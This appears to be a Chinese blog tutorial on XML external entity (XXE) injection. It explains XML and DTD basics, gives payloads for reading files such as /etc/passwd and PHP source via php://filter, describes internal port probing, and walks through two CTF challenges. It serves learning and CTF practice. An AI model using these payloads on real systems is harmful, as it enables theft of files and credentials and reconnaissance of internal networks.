XXE漏洞产生及利用

文章发布时间:

最后更新时间:

文章总字数:
1.6k

预计阅读时间:
6 分钟

XXE漏洞产生及利用

知识点:XXE漏洞(XML External Entity Injection)全称为XML外部实体注入漏洞。

XML基本概念

首先,XML指的是一种可扩展标记语言,和HTML类似,但功能不同,XML用于结构化,存储以及传输信息,而HTML用于显示信息,如今XML大部分被JSON取代。

XML基本格式和语法

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明,可选,必须放在文件开头,standalone=yes表示DTD仅用于验证文档结构,从而外部实体被禁用,也就是说不存在XXE漏洞,默认下是no-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->

基本语法:

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。

DTD基本概念

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的。

DTD用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。是XML文档中的几条语句,用来说明哪些元素/属性是合法的以及元素间应当怎样嵌套/结合,也用来将一些特殊字符和可复用代码段自定义为实体。

DTD就是我们XXE漏洞产生的关键,由于我们可以控制引入外部文件,导致任意文件读取漏洞。

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

一般实体的声明:<!ENTITY 实体名称 "实体内容">
引用一般实体的方法:&实体名称;

外部实体用于引入外部资源,有SYSTEMPUBLIC两个关键字,表示实体来自本地计算机还是公共计算机。

1
2
3
4
5
6
7
8
9
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

示例代码
<?xml version = "1.0" encoding = "utf-8"?>
<!DOCTYPE test [
<!ENTITY file SYSTEM "file:///etc/passwd">
<author>&file;©right;</author>

php可以利用各种协议来引用外部实体,file,伪协议等等,各语言引用方式不同

XXE漏洞

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

读取任意文件payload

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://qwzf.txt" >
]>
<root>
<name>&file;</name>
</root>

下面的标签根据题目传输时使用的标签来替换,system后面写协议,读取文件

有回显的可以直接看到,无回显则需要通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到攻击服务器来读取数据。虽无法直接查看文件内容,但我们可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。即,当无回显情况时,可以将数据发送到远程服务器(攻击服务器)。

也可以将协议改为ip地址,来探测内网端口<!ENTITY xxe SYSTEM “http://127.0.0.1:80" >]>是否开放,或者接上payload来攻击内网,结合ssrf攻击。

识别:发现题目使用xml传输数据即可尝试。

两种常见利用方式

通过两道例题来看这两种常见的XXE利用方式

Fake XML Book

这一题主要利用了任意文件读取,这道题打开就是一个简单的登录框,通过抓包可以看到这个登录是利用了xml协议来传输数据,直接使用任意文件读取的payload

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY abc SYSTEM "file:///flag">
]>
<user><username>&abc;</username><password>a</password></user>

成功读取到flag。

Ture XML Book

这一题主要利用了内网ip探测

和上一题一样,看到xml传输,先故技重施,结果报错,这种报错一般是因为没有该文件引起的,但是通过报错知道了文件路径,

使用文件路径尝试读取登录页面源码,没报错但是也啥都没读出来,那就换一个协议读,payload改为:

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY abc SYSTEM "php://filter/read=convert.base64-encode()/resource=/var/www/html/doLogin.php">

成功读到源码,里面有admin的登录账号和密码,登录进去依然什么都没有发生,推测flag文件并不在本机上,尝试读取关键文件来探测端口,关键文件如/proc/net/arp,/proc/net/fib_trie等,经过尝试,10.244.80.187很有可能是存活的ip,但是直接访问依然报错。

1
SYSTEM "http://10.244.80.187"

尝试对最后一段,也就是187进行爆破,探测该网段下所有存活的ip,爆破的很慢,爆到143发现响应长度偏短,查看得到flag。